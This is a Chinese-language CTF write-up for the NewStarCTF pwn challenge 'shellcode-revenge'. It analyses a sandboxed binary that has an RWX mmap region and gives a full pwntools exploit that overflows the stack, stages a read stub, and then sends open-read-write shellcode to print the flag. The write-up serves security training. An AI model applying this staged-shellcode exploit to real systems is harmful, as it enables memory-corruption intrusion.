[NewStarCTF 公开赛赛道]shellcode-revenge

[NewStarCTF 公开赛赛道]shellcode-revenge

我们先checksec一下:

1

其实开启PIE就挺恶心的了,拖入IDA中:

2

看到prctl函数了吧,应该是开启了沙箱的,禁用了一些系统调用,看到了mmap函数了吧,这个函数把从0x233000起始处,往后0x1000字节都赋予了可读可写可执行的权限:

3

我们可以从最后一个read函数溢出到buf的起始地址,因为该段为可读可写可执行,只要buf里面写上我们想要执行的命令就可以了,但是有一个问题,这里给的0x1a太小了,不足以我们写上shellcode,因为开启了沙箱,我们用orw,既然大小不足,我们就向buf写入read函数的系统调用,让它溢出调用read函数,我们再写入数据,此时的数据大小就是我们可以控制的了,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

sh = remote("node5.buuoj.cn",28569)

#sh = process("./pwn")

#gdb.attach(sh)

mmap_address = 0x233000

shellcode_1 = shellcraft.open("./flag")

shellcode_2 = shellcraft.read(3,mmap_address + 0x200,0x100)

shellcode_3 = shellcraft.write(1,mmap_address + 0x200 ,0x100)

shellcode = asm(shellcode_1 + shellcode_2 + shellcode_3)


# payload = asm(shellcraft.read(0,mmap_address+0x18,0x100)) + b'A'

payload = asm(shellcraft.read(0,mmap_address+0x18,0x100)) + b'\x90\x90\x90\x90' # nop指令,不执行任何操作,方便滑到我们写的shellcode地方


# 上面的payload动态调试可知道大小

sh.recvuntil("Well.Just a little.")

sh.sendline(payload)

#pause()

print("payload_size----------->",hex(len(payload)))

print("shellcode_size----------->",hex(len(shellcode)))

sh.recvuntil("Let's see what u can do this time~")

payload = b"A"*(0x30+0x8) + p64(mmap_address)

sh.sendline(payload)
sh.sendline(shellcode)
sh.interactive()

(1)上述的shellcode_1,shellcode_2,shellcode_3的含义是:打开根目录下的flag文件,从flag文件中向mmap_address + 0x200的地址向后写入0x100字节的数据,再将mmap_address + 0x200的地址向后0x100字节的内容输出到屏幕上。这样就能输出flag的内容了,这里的0x200也可以改变,但尽量更大,避免写入的数据覆盖了我们要执行的指令。

(2)nop指令是为了增加容错,使其在执行完read(0,mmap_address+0x18,0x100)函数后,可以执行到我们的shellcode

6

其实我们可以看到,payload的大小是0x19,刚好是比0x1a小一个字节,其实也没有小,因为我们还发送了0xa(换行符/n),也就是说,我们的shellcode刚好覆盖了最后一个nop指令,前面三个nop指令帮助我们滑到了shellcode这里去执行。